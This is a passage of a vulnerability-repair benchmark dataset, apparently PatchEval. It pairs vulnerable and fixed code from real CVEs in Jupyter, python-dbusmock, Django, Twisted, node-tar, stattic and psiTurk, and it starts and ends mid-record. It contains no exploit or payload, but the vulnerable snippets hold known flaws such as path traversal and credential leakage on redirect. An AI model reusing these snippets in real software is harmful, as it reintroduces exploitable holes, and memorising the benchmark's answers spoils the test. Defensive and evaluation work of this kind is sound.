valid in urls, but some browsers treat it as /\n # instead of %5C, causing `\\\\` to behave as `//`\n url = url.replace(\"\\\\\", \"%5C\")\n parsed = urlparse(url)\n if parsed.netloc or not (parsed.path + '/').startswith(self.base_url):\n # require that next_url be absolute path within our path\n allow = False\n # OR pass our cross-origin check\n if parsed.netloc:\n # if full URL, run our cross-origin check:\n origin = '%s://%s' % (parsed.scheme, parsed.netloc)\n origin = origin.lower()\n if self.allow_origin:\n allow = self.allow_origin == origin\n elif self.allow_origin_pat:\n allow = bool(self.allow_origin_pat.match(origin))\n if not allow:\n # not allowed, use default\n self.log.warning(\"Not allowing login redirect to %r\" % url)\n url = default\n self.redirect(url)", "vul_localization": [ { "patch_lines": [ 15 ], "tag": "modify" }, { "patch_lines": [ 19 ], "tag": "modify" }, { "patch_lines": [ 23 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_py_46_1", "commit": "979e0bd15e794ceb00cc63737fcd5fd9addc4a99", "file_path": "notebook/auth/login.py", "start_line": 33, "end_line": 66, "snippet": " def _redirect_safe(self, url, default=None):\n \"\"\"Redirect if url is on our PATH\n\n Full-domain redirects are allowed if they pass our CORS origin checks.\n\n Otherwise use default (self.base_url if unspecified).\n \"\"\"\n if default is None:\n default = self.base_url\n # protect chrome users from mishandling unescaped backslashes.\n # \\ is not valid in urls, but some browsers treat it as /\n # instead of %5C, causing `\\\\` to behave as `//`\n url = url.replace(\"\\\\\", \"%5C\")\n parsed = urlparse(url)\n path_only = urlunparse(parsed._replace(netloc='', scheme=''))\n if url != path_only or not (parsed.path + '/').startswith(self.base_url):\n # require that next_url be absolute path within our path\n allow = False\n # OR pass our cross-origin check\n if url != path_only:\n # if full URL, run our cross-origin check:\n origin = '%s://%s' % (parsed.scheme, parsed.netloc)\n origin = origin.lower()\n if origin == '%s://%s' % (self.request.protocol, self.request.host):\n allow = True\n elif self.allow_origin:\n allow = self.allow_origin == origin\n elif self.allow_origin_pat:\n allow = bool(self.allow_origin_pat.match(origin))\n if not allow:\n # not allowed, use default\n self.log.warning(\"Not allowing login redirect to %r\" % url)\n url = default\n self.redirect(url)" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2019-10856" }, { "cve_id": "CVE-2015-1326", "cve_description": "python-dbusmock before version 0.15.1 AddTemplate() D-Bus method call or DBusTestCase.spawn_server_template() method could be tricked into executing malicious code if an attacker supplies a .pyc file.", "cwe_info": { "CWE-20": { "name": "Improper Input Validation", "description": "The product receives input or data, but it does\n not validate or incorrectly validates that the input has the\n properties that are required to process the data safely and\n correctly." } }, "repo": "https://github.com/martinpitt/python-dbusmock", "patch_url": [ "https://github.com/martinpitt/python-dbusmock/commit/4e7d0df9093" ], "programing_language": "Python", "vul_func": [ { "id": "vul_py_68_1", "commit": "a4bd39f", "file_path": "dbusmock/mockobject.py", "start_line": 41, "end_line": 50, "snippet": "def load_module(name):\n if os.path.exists(name) and os.path.splitext(name)[1] == '.py':\n sys.path.insert(0, os.path.dirname(os.path.abspath(name)))\n try:\n m = os.path.splitext(os.path.basename(name))[0]\n module = importlib.import_module(m)\n finally:\n sys.path.pop(0)\n\n return module", "vul_localization": [ { "patch_lines": [ 2, 3, 4, 5, 6, 7, 8, 9, 10 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_py_65_1", "commit": "4e7d0df9093", "file_path": "dbusmock/mockobject.py", "start_line": 42, "end_line": 49, "snippet": "def load_module(name):\n if os.path.exists(name) and os.path.splitext(name)[1] == '.py':\n mod = imp.new_module(os.path.splitext(os.path.basename(name))[0])\n with open(name) as f:\n exec(f.read(), mod.__dict__, mod.__dict__)\n return mod\n\n return importlib.import_module('dbusmock.templates.' + name)" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2015-1326" }, { "cve_id": "CVE-2024-39330", "cve_description": "An issue was discovered in Django 5.0 before 5.0.7 and 4.2 before 4.2.14. Derived classes of the django.core.files.storage.Storage base class, when they override generate_filename() without replicating the file-path validations from the parent class, potentially allow directory traversal via certain inputs during a save() call. (Built-in Storage sub-classes are unaffected.)", "cwe_info": { "CWE-73": { "name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations." }, "CWE-22": { "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory." } }, "repo": "https://github.com/django/django", "patch_url": [ "https://github.com/django/django/commit/9f4f63e9ebb7bf6cb9547ee4e2526b9b96703270", "https://github.com/django/django/commit/2b00edc0151a660d1eb86da4059904a0fc4e095e" ], "programing_language": "Python", "vul_func": [ { "id": "vul_py_4_1", "commit": "156d318", "file_path": "django/core/files/storage/base.py", "start_line": 24, "end_line": 41, "snippet": " def save(self, name, content, max_length=None):\n \"\"\"\n Save new content to the file specified by name. The content should be\n a proper File object or any Python file-like object, ready to be read\n from the beginning.\n \"\"\"\n # Get the proper name for the file, as it will actually be saved.\n if name is None:\n name = content.name\n\n if not hasattr(content, \"chunks\"):\n content = File(content, name)\n\n name = self.get_available_name(name, max_length=max_length)\n name = self._save(name, content)\n # Ensure that the name returned from the storage system is still valid.\n validate_file_name(name, allow_relative_path=True)\n return name", "vul_localization": [ { "patch_lines": [ 14 ], "tag": "add" }, { "patch_lines": [ 16 ], "tag": "add" } ] }, { "id": "vul_py_4_2", "commit": "156d318", "file_path": "django/core/files/utils.py", "start_line": 7, "end_line": 24, "snippet": "def validate_file_name(name, allow_relative_path=False):\n # Remove potentially dangerous names\n if os.path.basename(name) in {\"\", \".\", \"..\"}:\n raise SuspiciousFileOperation(\"Could not derive file name from '%s'\" % name)\n\n if allow_relative_path:\n # Use PurePosixPath() because this branch is checked only in\n # FileField.generate_filename() where all file paths are expected to be\n # Unix style (with forward slashes).\n path = pathlib.PurePosixPath(name)\n if path.is_absolute() or \"..\" in path.parts:\n raise SuspiciousFileOperation(\n \"Detected path traversal attempt in '%s'\" % name\n )\n elif name != os.path.basename(name):\n raise SuspiciousFileOperation(\"File name '%s' includes path elements\" % name)\n\n return name", "vul_localization": [ { "patch_lines": [ 7, 8, 9, 10 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_py_4_1", "commit": "2b00edc0151a660d1eb86da4059904a0fc4e095e", "file_path": "django/core/files/storage/base.py", "start_line": 24, "end_line": 52, "snippet": " def save(self, name, content, max_length=None):\n \"\"\"\n Save new content to the file specified by name. The content should be\n a proper File object or any Python file-like object, ready to be read\n from the beginning.\n \"\"\"\n # Get the proper name for the file, as it will actually be saved.\n if name is None:\n name = content.name\n\n if not hasattr(content, \"chunks\"):\n content = File(content, name)\n\n # Ensure that the name is valid, before and after having the storage\n # system potentially modifying the name. This duplicates the check made\n # inside `get_available_name` but it's necessary for those cases where\n # `get_available_name` is overriden and validation is lost.\n validate_file_name(name, allow_relative_path=True)\n\n # Potentially find a different name depending on storage constraints.\n name = self.get_available_name(name, max_length=max_length)\n # Validate the (potentially) new name.\n validate_file_name(name, allow_relative_path=True)\n\n # The save operation should return the actual name of the file saved.\n name = self._save(name, content)\n # Ensure that the name returned from the storage system is still valid.\n validate_file_name(name, allow_relative_path=True)\n return name" }, { "id": "fix_py_4_2", "commit": "2b00edc0151a660d1eb86da4059904a0fc4e095e", "file_path": "django/core/files/utils.py", "start_line": 7, "end_line": 23, "snippet": "def validate_file_name(name, allow_relative_path=False):\n # Remove potentially dangerous names\n if os.path.basename(name) in {\"\", \".\", \"..\"}:\n raise SuspiciousFileOperation(\"Could not derive file name from '%s'\" % name)\n\n if allow_relative_path:\n # Ensure that name can be treated as a pure posix path, i.e. Unix\n # style (with forward slashes).\n path = pathlib.PurePosixPath(str(name).replace(\"\\\\\", \"/\"))\n if path.is_absolute() or \"..\" in path.parts:\n raise SuspiciousFileOperation(\n \"Detected path traversal attempt in '%s'\" % name\n )\n elif name != os.path.basename(name):\n raise SuspiciousFileOperation(\"File name '%s' includes path elements\" % name)\n\n return name" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2024-39330" }, { "cve_id": "CVE-2022-21712", "cve_description": "Twisted's HTTP redirect-following clients, including twisted.web.client.RedirectAgent and BrowserLikeRedirectAgent, can leak credential-bearing request headers when they automatically follow a redirect from one origin to another. An attacker who can cause a request carrying cookies or authorization credentials to receive a redirect to an attacker-controlled URL may receive headers such as Cookie, Cookie2, Authorization, or Proxy-Authorization on the redirected request. This exposes user/session credentials to a different scheme, host, or port than the one for which they were intended.", "cwe_info": { "CWE-200": { "name": "Exposure of Sensitive Information to an Unauthorized Actor", "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information." } }, "repo": "https://github.com/twisted/twisted", "patch_url": [ "https://github.com/twisted/twisted/commit/af8fe78542a6f2bf2235ccee8158d9c88d31e8e2" ], "programing_language": "Python", "vul_func": [ { "id": "vul_py_53_1", "commit": "7039a20", "file_path": "src/twisted/web/client.py", "start_line": 2144, "end_line": 2146, "snippet": " def __init__(self, agent, redirectLimit=20):\n self._agent = agent\n self._redirectLimit = redirectLimit", "vul_localization": [ { "patch_lines": [ 1 ], "tag": "modify" }, { "patch_lines": [ 3 ], "tag": "add" } ] }, { "id": "vul_py_53_2", "commit": "7039a20", "file_path": "src/twisted/web/client.py", "start_line": 2172, "end_line": 2189, "snippet": " def _handleRedirect(self, response, method, uri, headers, redirectCount):\n \"\"\"\n Handle a redirect response, checking the number of redirects already\n followed, and extracting the location header fields.\n \"\"\"\n if redirectCount >= self._redirectLimit:\n err = error.InfiniteRedirection(\n response.code, b\"Infinite redirection detected\", location=uri\n )\n raise ResponseFailed([Failure(err)], response)\n locationHeaders = response.headers.getRawHeaders(b\"location\", [])\n if not locationHeaders:\n err = error.RedirectWithNoLocation(\n response.code, b\"No location header field\", uri\n )\n raise ResponseFailed([Failure(err)], response)\n location = self._resolveLocation(uri, locationHeaders[0])\n deferred = self._agent.request(method, location, headers)", "vul_localization": [ { "patch_lines": [ 17 ], "tag": "add" } ] } ], "fix_func": [ { "id": "fix_py_53_1", "commit": "af8fe78", "file_path": "src/twisted/web/client.py", "start_line": 2114, "end_line": 2172, "snippet": "_canonicalHeaderName = Headers()._canonicalNameCaps\n_defaultSensitiveHeaders = frozenset(\n [\n b\"Authorization\",\n b\"Cookie\",\n b\"Cookie2\",\n b\"Proxy-Authorization\",\n b\"WWW-Authenticate\",\n ]\n)\n\n\n@implementer(IAgent)\nclass RedirectAgent:\n \"\"\"\n An L{Agent} wrapper which handles HTTP redirects.\n\n The implementation is rather strict: 301 and 302 behaves like 307, not\n redirecting automatically on methods different from I{GET} and I{HEAD}.\n\n See L{BrowserLikeRedirectAgent} for a redirecting Agent that behaves more\n like a web browser.\n\n @param redirectLimit: The maximum number of times the agent is allowed to\n follow redirects before failing with a L{error.InfiniteRedirection}.\n\n @param sensitiveHeaderNames: An iterable of C{bytes} enumerating the names\n of headers that must not be transmitted when redirecting to a different\n origins. These will be consulted in addition to the protocol-specified\n set of headers that contain sensitive information.\n\n @cvar _redirectResponses: A L{list} of HTTP status codes to be redirected\n for I{GET} and I{HEAD} methods.\n\n @cvar _seeOtherResponses: A L{list} of HTTP status codes to be redirected\n for any method and the method altered to I{GET}.\n\n @since: 11.1\n \"\"\"\n\n _redirectResponses = [\n http.MOVED_PERMANENTLY,\n http.FOUND,\n http.TEMPORARY_REDIRECT,\n http.PERMANENT_REDIRECT,\n ]\n _seeOtherResponses = [http.SEE_OTHER]\n\n def __init__(\n self,\n agent: IAgent,\n redirectLimit: int = 20,\n sensitiveHeaderNames: Iterable[bytes] = (),\n ):\n self._agent = agent\n self._redirectLimit = redirectLimit\n sensitive = {_canonicalHeaderName(each) for each in sensitiveHeaderNames}\n sensitive.update(_defaultSensitiveHeaders)\n self._sensitiveHeaderNames = sensitive" }, { "id": "fix_py_53_2", "commit": "af8fe78", "file_path": "src/twisted/web/client.py", "start_line": 2198, "end_line": 2240, "snippet": " def _handleRedirect(self, response, method, uri, headers, redirectCount):\n \"\"\"\n Handle a redirect response, checking the number of redirects already\n followed, and extracting the location header fields.\n \"\"\"\n if redirectCount >= self._redirectLimit:\n err = error.InfiniteRedirection(\n response.code, b\"Infinite redirection detected\", location=uri\n )\n raise ResponseFailed([Failure(err)], response)\n locationHeaders = response.headers.getRawHeaders(b\"location\", [])\n if not locationHeaders:\n err = error.RedirectWithNoLocation(\n response.code, b\"No location header field\", uri\n )\n raise ResponseFailed([Failure(err)], response)\n location = self._resolveLocation(uri, locationHeaders[0])\n if headers:\n parsedURI = URI.fromBytes(uri)\n parsedLocation = URI.fromBytes(location)\n sameOrigin = (\n (parsedURI.scheme == parsedLocation.scheme)\n and (parsedURI.host == parsedLocation.host)\n and (parsedURI.port == parsedLocation.port)\n )\n if not sameOrigin:\n headers = Headers(\n {\n rawName: rawValue\n for rawName, rawValue in headers.getAllRawHeaders()\n if rawName not in self._sensitiveHeaderNames\n }\n )\n deferred = self._agent.request(method, location, headers)\n\n def _chainResponse(newResponse):\n newResponse.setPreviousResponse(response)\n return newResponse\n\n deferred.addCallback(_chainResponse)\n return deferred.addCallback(\n self._handleResponse, method, uri, headers, redirectCount + 1\n )" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2022-21712" }, { "cve_id": "CVE-2018-20834", "cve_description": "A vulnerability was found in node-tar before version 4.4.2 (excluding version 2.2.2). An Arbitrary File Overwrite issue exists when extracting a tarball containing a hardlink to a file that already exists on the system, in conjunction with a later plain file with the same name as the hardlink. This plain file content replaces the existing file content. A patch has been applied to node-tar v2.2.2).", "cwe_info": { "CWE-59": { "name": "Improper Link Resolution Before File Access ('Link Following')", "description": "The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource." } }, "repo": "https://github.com/npm/node-tar", "patch_url": [ "https://github.com/npm/node-tar/commit/7ecef07da6a9e72cc0c4d0c9c6a8e85b6b52395d" ], "programing_language": "JavaScript", "vul_func": [ { "id": "vul_js_63_1", "commit": "9fc84b9", "file_path": "lib/parse.js", "start_line": 140, "end_line": 285, "snippet": "Parse.prototype._startEntry = function (c) {\n var header = new TarHeader(c)\n , self = this\n , entry\n , ev\n , EntryType\n , onend\n , meta = false\n\n if (null === header.size || !header.cksumValid) {\n var e = new Error(\"invalid tar file\")\n e.header = header\n e.tar_file_offset = this.position\n e.tar_block = this.position / 512\n return this.emit(\"error\", e)\n }\n\n switch (tar.types[header.type]) {\n case \"File\":\n case \"OldFile\":\n case \"Link\":\n case \"SymbolicLink\":\n case \"CharacterDevice\":\n case \"BlockDevice\":\n case \"Directory\":\n case \"FIFO\":\n case \"ContiguousFile\":\n case \"GNUDumpDir\":\n // start a file.\n // pass in any extended headers\n // These ones consumers are typically most interested in.\n EntryType = Entry\n ev = \"entry\"\n break\n\n case \"GlobalExtendedHeader\":\n // extended headers that apply to the rest of the tarball\n EntryType = ExtendedHeader\n onend = function () {\n self._global = self._global || {}\n Object.keys(entry.fields).forEach(function (k) {\n self._global[k] = entry.fields[k]\n })\n }\n ev = \"globalExtendedHeader\"\n meta = true\n break\n\n case \"ExtendedHeader\":\n case \"OldExtendedHeader\":\n // extended headers that apply to the next entry\n EntryType = ExtendedHeader\n onend = function () {\n self._extended = entry.fields\n }\n ev = \"extendedHeader\"\n meta = true\n break\n\n case \"NextFileHasLongLinkpath\":\n // set linkpath= in extended header\n EntryType = BufferEntry\n onend = function () {\n self._extended = self._extended || {}\n self._extended.linkpath = entry.body\n }\n ev = \"longLinkpath\"\n meta = true\n break\n\n case \"NextFileHasLongPath\":\n case \"OldGnuLongPath\":\n // set path= in file-extended header\n EntryType = BufferEntry\n onend = function () {\n self._extended = self._extended || {}\n self._extended.path = entry.body\n }\n ev = \"longPath\"\n meta = true\n break\n\n default:\n // all the rest we skip, but still set the _entry\n // member, so that we can skip over their data appropriately.\n // emit an event to say that this is an ignored entry type?\n EntryType = Entry\n ev = \"ignoredEntry\"\n break\n }\n\n var global, extended\n if (meta) {\n global = extended = null\n } else {\n var global = this._global\n var extended = this._extended\n\n // extendedHeader only applies to one entry, so once we start\n // an entry, it's over.\n this._extended = null\n }\n entry = new EntryType(header, extended, global)\n entry.meta = meta\n\n // only proxy data events of normal files.\n if (!meta) {\n entry.on(\"data\", function (c) {\n me.emit(\"data\", c)\n })\n }\n\n if (onend) entry.on(\"end\", onend)\n\n if (entry.type === \"File\" && this._hardLinks[entry.path]) {\n ev = \"ignoredEntry\"\n }\n\n this._entry = entry\n\n if (entry.type === \"Link\") {\n this._hardLinks[entry.path] = entry\n }\n\n var me = this\n\n entry.on(\"pause\", function () {\n me.pause()\n })\n\n entry.on(\"resume\", function () {\n me.resume()\n })\n\n if (this.listeners(\"*\").length) {\n this.emit(\"*\", ev, entry)\n }\n\n this.emit(ev, entry)\n\n // Zero-byte entry. End immediately.\n if (entry.props.size === 0) {\n entry.end()\n this._entry = null\n }\n}", "vul_localization": [ { "patch_lines": [ 115, 116, 117 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_js_63_1", "commit": "7ecef07da6a9e72cc0c4d0c9c6a8e85b6b52395d", "file_path": "lib/parse.js", "start_line": 140, "end_line": 281, "snippet": "Parse.prototype._startEntry = function (c) {\n var header = new TarHeader(c)\n , self = this\n , entry\n , ev\n , EntryType\n , onend\n , meta = false\n\n if (null === header.size || !header.cksumValid) {\n var e = new Error(\"invalid tar file\")\n e.header = header\n e.tar_file_offset = this.position\n e.tar_block = this.position / 512\n return this.emit(\"error\", e)\n }\n\n switch (tar.types[header.type]) {\n case \"File\":\n case \"OldFile\":\n case \"Link\":\n case \"SymbolicLink\":\n case \"CharacterDevice\":\n case \"BlockDevice\":\n case \"Directory\":\n case \"FIFO\":\n case \"ContiguousFile\":\n case \"GNUDumpDir\":\n // start a file.\n // pass in any extended headers\n // These ones consumers are typically most interested in.\n EntryType = Entry\n ev = \"entry\"\n break\n\n case \"GlobalExtendedHeader\":\n // extended headers that apply to the rest of the tarball\n EntryType = ExtendedHeader\n onend = function () {\n self._global = self._global || {}\n Object.keys(entry.fields).forEach(function (k) {\n self._global[k] = entry.fields[k]\n })\n }\n ev = \"globalExtendedHeader\"\n meta = true\n break\n\n case \"ExtendedHeader\":\n case \"OldExtendedHeader\":\n // extended headers that apply to the next entry\n EntryType = ExtendedHeader\n onend = function () {\n self._extended = entry.fields\n }\n ev = \"extendedHeader\"\n meta = true\n break\n\n case \"NextFileHasLongLinkpath\":\n // set linkpath= in extended header\n EntryType = BufferEntry\n onend = function () {\n self._extended = self._extended || {}\n self._extended.linkpath = entry.body\n }\n ev = \"longLinkpath\"\n meta = true\n break\n\n case \"NextFileHasLongPath\":\n case \"OldGnuLongPath\":\n // set path= in file-extended header\n EntryType = BufferEntry\n onend = function () {\n self._extended = self._extended || {}\n self._extended.path = entry.body\n }\n ev = \"longPath\"\n meta = true\n break\n\n default:\n // all the rest we skip, but still set the _entry\n // member, so that we can skip over their data appropriately.\n // emit an event to say that this is an ignored entry type?\n EntryType = Entry\n ev = \"ignoredEntry\"\n break\n }\n\n var global, extended\n if (meta) {\n global = extended = null\n } else {\n var global = this._global\n var extended = this._extended\n\n // extendedHeader only applies to one entry, so once we start\n // an entry, it's over.\n this._extended = null\n }\n entry = new EntryType(header, extended, global)\n entry.meta = meta\n\n // only proxy data events of normal files.\n if (!meta) {\n entry.on(\"data\", function (c) {\n me.emit(\"data\", c)\n })\n }\n\n if (onend) entry.on(\"end\", onend)\n\n this._entry = entry\n\n if (entry.type === \"Link\") {\n this._hardLinks[entry.path] = entry\n }\n\n var me = this\n\n entry.on(\"pause\", function () {\n me.pause()\n })\n\n entry.on(\"resume\", function () {\n me.resume()\n })\n\n if (this.listeners(\"*\").length) {\n this.emit(\"*\", ev, entry)\n }\n\n this.emit(ev, entry)\n\n // Zero-byte entry. End immediately.\n if (entry.props.size === 0) {\n entry.end()\n this._entry = null\n }\n}" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2018-20834" }, { "cve_id": "CVE-2018-3734", "cve_description": "The stattic module's HTTP static file handler is vulnerable to path traversal. It derives a filesystem path from the attacker-controlled request URL pathname and joins it with the configured static root directory without reliably ensuring that the resulting target remains inside that root. An attacker who knows or can guess a filesystem path can send a URL containing parent-directory traversal segments to cause the server to read and return files outside the configured static content directory. This can disclose arbitrary local file contents through the HTTP response.", "cwe_info": { "CWE-22": { "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory." } }, "repo": "https://github.com/jmjuanes/stattic", "patch_url": [ "https://github.com/jmjuanes/stattic/commit/1649daafa646b12d7311640690df967b0107d768" ], "programing_language": "JavaScript", "vul_func": [ { "id": "vul_js_41_1", "commit": "952c145", "file_path": "index.js", "start_line": 31, "end_line": 106, "snippet": "module.exports.listen = function (port, cb) {\n //Parse the arguments\n cb = (typeof port === \"function\") ? port : cb;\n port = (typeof port === \"number\") ? parseInt(port) : options.port;\n\n //Get the static files folder path\n options.folder = path.resolve(process.cwd(), options.folder);\n\n //Get the error file path\n options.error = path.resolve(process.cwd(), options.error);\n\n //Initialize the server\n let server = http.createServer(function (req, res) {\n let timeStart = Date.now();\n\n //Check the cors option\n if (options.cors === true) {\n res.setHeader(\"Access-Control-Allow-Origin\", \"*\");\n res.setHeader(\"Access-Control-Allow-Methods\", \"GET, POST, OPTIONS, PUT, PATCH, DELETE\");\n res.setHeader(\"Access-Control-Allow-Headers\", \"X-Requested-With,content-type\");\n }\n let pathname = url.parse(req.url).pathname;\n let localPath = path.join(options.folder, pathname);\n if (path.extname(localPath) === \"\") {\n //Add the index file to the local path\n localPath = path.join(localPath, \"./\" + path.basename(options.index));\n }\n\n //Reponse finish event\n res.on(\"finish\", function () {\n console.log(\"\" + res.statusCode + \" \" + pathname + \" \" + (Date.now() - timeStart) + \" ms\");\n });\n\n //Check if the file exists in this directory\n return utily.fs.isFile(localPath, function (error, exists) {\n if (error) {\n return errorPage(res, 500, \"Error processing your request.\");\n }\n if (exists === false) {\n return errorPage(res, 404, \"File not found.\");\n }\n\n //Write the header with the content type\n res.writeHead(200, {\"Content-Type\": mime.getType(localPath)});\n\n //Initialize the reader stream\n //let reader = fs.createReadStream(local_path, { encoding: \"utf8\" });\n //Remove encoding -> fixed bug reading images (jpg, png, etc...)\n let reader = fs.createReadStream(localPath);\n reader.on(\"data\", function (data) {\n //Write the data to the response\n res.write(data);\n });\n reader.on(\"end\", function () {\n res.end(\"\");\n });\n reader.on(\"error\", function (error) {\n return errorPage(res, 500, \"Something went wrong...\");\n })\n });\n });\n\n //Start server\n server.listen(port, function () {\n if (typeof cb === \"function\") {\n cb.call(null);\n }\n else {\n //Show the console log success\n console.log(\"\");\n console.log(\"Static server listening on: \" + \"http://localhost:\" + options.port + \"\");\n console.log(\"Reading files from: \" + options.folder + \"\");\n console.log(\"\");\n }\n });\n};", "vul_localization": [ { "patch_lines": [ 22 ], "tag": "add" } ] } ], "fix_func": [ { "id": "fix_js_41_1", "commit": "1649daafa646b12d7311640690df967b0107d768", "file_path": "index.js", "start_line": 31, "end_line": 107, "snippet": "module.exports.listen = function (port, cb) {\n //Parse the arguments\n cb = (typeof port === \"function\") ? port : cb;\n port = (typeof port === \"number\") ? parseInt(port) : options.port;\n\n //Get the static files folder path\n options.folder = path.resolve(process.cwd(), options.folder);\n\n //Get the error file path\n options.error = path.resolve(process.cwd(), options.error);\n\n //Initialize the server\n let server = http.createServer(function (req, res) {\n let timeStart = Date.now();\n\n //Check the cors option\n if (options.cors === true) {\n res.setHeader(\"Access-Control-Allow-Origin\", \"*\");\n res.setHeader(\"Access-Control-Allow-Methods\", \"GET, POST, OPTIONS, PUT, PATCH, DELETE\");\n res.setHeader(\"Access-Control-Allow-Headers\", \"X-Requested-With,content-type\");\n }\n let pathname = url.parse(req.url).pathname;\n pathname = path.normalize(pathname); //Fix path traversal\n let localPath = path.join(options.folder, pathname);\n if (path.extname(localPath) === \"\") {\n //Add the index file to the local path\n localPath = path.join(localPath, \"./\" + path.basename(options.index));\n }\n\n //Reponse finish event\n res.on(\"finish\", function () {\n console.log(\"\" + res.statusCode + \" \" + pathname + \" \" + (Date.now() - timeStart) + \" ms\");\n });\n\n //Check if the file exists in this directory\n return utily.fs.isFile(localPath, function (error, exists) {\n if (error) {\n return errorPage(res, 500, \"Error processing your request.\");\n }\n if (exists === false) {\n return errorPage(res, 404, \"File not found.\");\n }\n\n //Write the header with the content type\n res.writeHead(200, {\"Content-Type\": mime.getType(localPath)});\n\n //Initialize the reader stream\n //let reader = fs.createReadStream(local_path, { encoding: \"utf8\" });\n //Remove encoding -> fixed bug reading images (jpg, png, etc...)\n let reader = fs.createReadStream(localPath);\n reader.on(\"data\", function (data) {\n //Write the data to the response\n res.write(data);\n });\n reader.on(\"end\", function () {\n res.end(\"\");\n });\n reader.on(\"error\", function (error) {\n return errorPage(res, 500, \"Something went wrong...\");\n })\n });\n });\n\n //Start server\n server.listen(port, function () {\n if (typeof cb === \"function\") {\n cb.call(null);\n }\n else {\n //Show the console log success\n console.log(\"\");\n console.log(\"Static server listening on: \" + \"http://localhost:\" + options.port + \"\");\n console.log(\"Reading files from: \" + options.folder + \"\");\n console.log(\"\");\n }\n });\n};" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2018-3734" }, { "cve_id": "CVE-2021-4315", "cve_description": "A vulnerability has been found in NYUCCL psiTurk up to 3.2.0 and classified as critical. This vulnerability affects unknown code of the file psiturk/experiment.py. The manipulation of the argument mode leads to improper neutralization of special elements used in a template engine. The exploit has been disclosed to the public and may be used. Upgrading to version 3.2.1 is able to address this issue. The name of the patch is 47787e15cecd66f2aa87687bf852ae0194a4335f. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-219676.", "cwe_info": { "CWE-94": { "name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment." }, "CWE-77": { "name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component." }, "CWE-78": { "name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component." } }, "repo": "https://github.com/NYUCCL/psiTurk", "patch_url": [ "https://github.com/NYUCCL/psiTurk/commit/47787e15cecd66f2aa87687bf852ae0194a4335f" ], "programing_language": "Python", "vul_func": [ { "id": "vul_py_34_1", "commit": "231d566", "file_path": "psiturk/experiment.py", "start_line": 287, "end_line": 391, "snippet": "def advertisement():\n \"\"\"\n This is the url we give for the ad for our 'external question'. The ad has\n to display two different things: This page will be called from within\n mechanical turk, with url arguments hitId, assignmentId, and workerId.\n If the worker has not yet accepted the hit:\n These arguments will have null values, we should just show an ad for\n the experiment.\n If the worker has accepted the hit:\n These arguments will have appropriate values and we should enter the\n person in the database and provide a link to the experiment popup.\n \"\"\"\n user_agent_string = request.user_agent.string\n user_agent_obj = user_agents.parse(user_agent_string)\n browser_ok = True\n browser_exclude_rule = CONFIG.get('Task Parameters', 'browser_exclude_rule')\n for rule in browser_exclude_rule.split(','):\n myrule = rule.strip()\n if myrule in [\"mobile\", \"tablet\", \"touchcapable\", \"pc\", \"bot\"]:\n if (myrule == \"mobile\" and user_agent_obj.is_mobile) or\\\n (myrule == \"tablet\" and user_agent_obj.is_tablet) or\\\n (myrule == \"touchcapable\" and user_agent_obj.is_touch_capable) or\\\n (myrule == \"pc\" and user_agent_obj.is_pc) or\\\n (myrule == \"bot\" and user_agent_obj.is_bot):\n browser_ok = False\n elif myrule == \"Safari\" or myrule == \"safari\":\n if \"Chrome\" in user_agent_string and \"Safari\" in user_agent_string:\n pass\n elif \"Safari\" in user_agent_string:\n browser_ok = False\n elif myrule in user_agent_string:\n browser_ok = False\n\n if not browser_ok:\n # Handler for IE users if IE is not supported.\n raise ExperimentError('browser_type_not_allowed')\n\n if not ('hitId' in request.args and 'assignmentId' in request.args):\n raise ExperimentError('hit_assign_worker_id_not_set_in_mturk')\n hit_id = request.args['hitId']\n assignment_id = request.args['assignmentId']\n mode = request.args['mode']\n if hit_id[:5] == \"debug\":\n debug_mode = True\n else:\n debug_mode = False\n already_in_db = False\n if 'workerId' in request.args:\n worker_id = request.args['workerId']\n # First check if this workerId has completed the task before (v1).\n nrecords = Participant.query.\\\n filter(Participant.assignmentid != assignment_id).\\\n filter(Participant.workerid == worker_id).\\\n count()\n\n if nrecords > 0: # Already completed task\n already_in_db = True\n else: # If worker has not accepted the hit\n worker_id = None\n try:\n part = Participant.query.\\\n filter(Participant.hitid == hit_id).\\\n filter(Participant.assignmentid == assignment_id).\\\n filter(Participant.workerid == worker_id).\\\n one()\n status = part.status\n except exc.SQLAlchemyError:\n status = None\n\n allow_repeats = CONFIG.getboolean('Task Parameters', 'allow_repeats')\n if (status == STARTED or status == QUITEARLY) and not debug_mode:\n # Once participants have finished the instructions, we do not allow\n # them to start the task again.\n raise ExperimentError('already_started_exp_mturk')\n elif status == COMPLETED or (status == SUBMITTED and not already_in_db):\n # 'or status == SUBMITTED' because we suspect that sometimes the post\n # to mturk fails after we've set status to SUBMITTED, so really they\n # have not successfully submitted. This gives another chance for the\n # submit to work.\n\n # They've 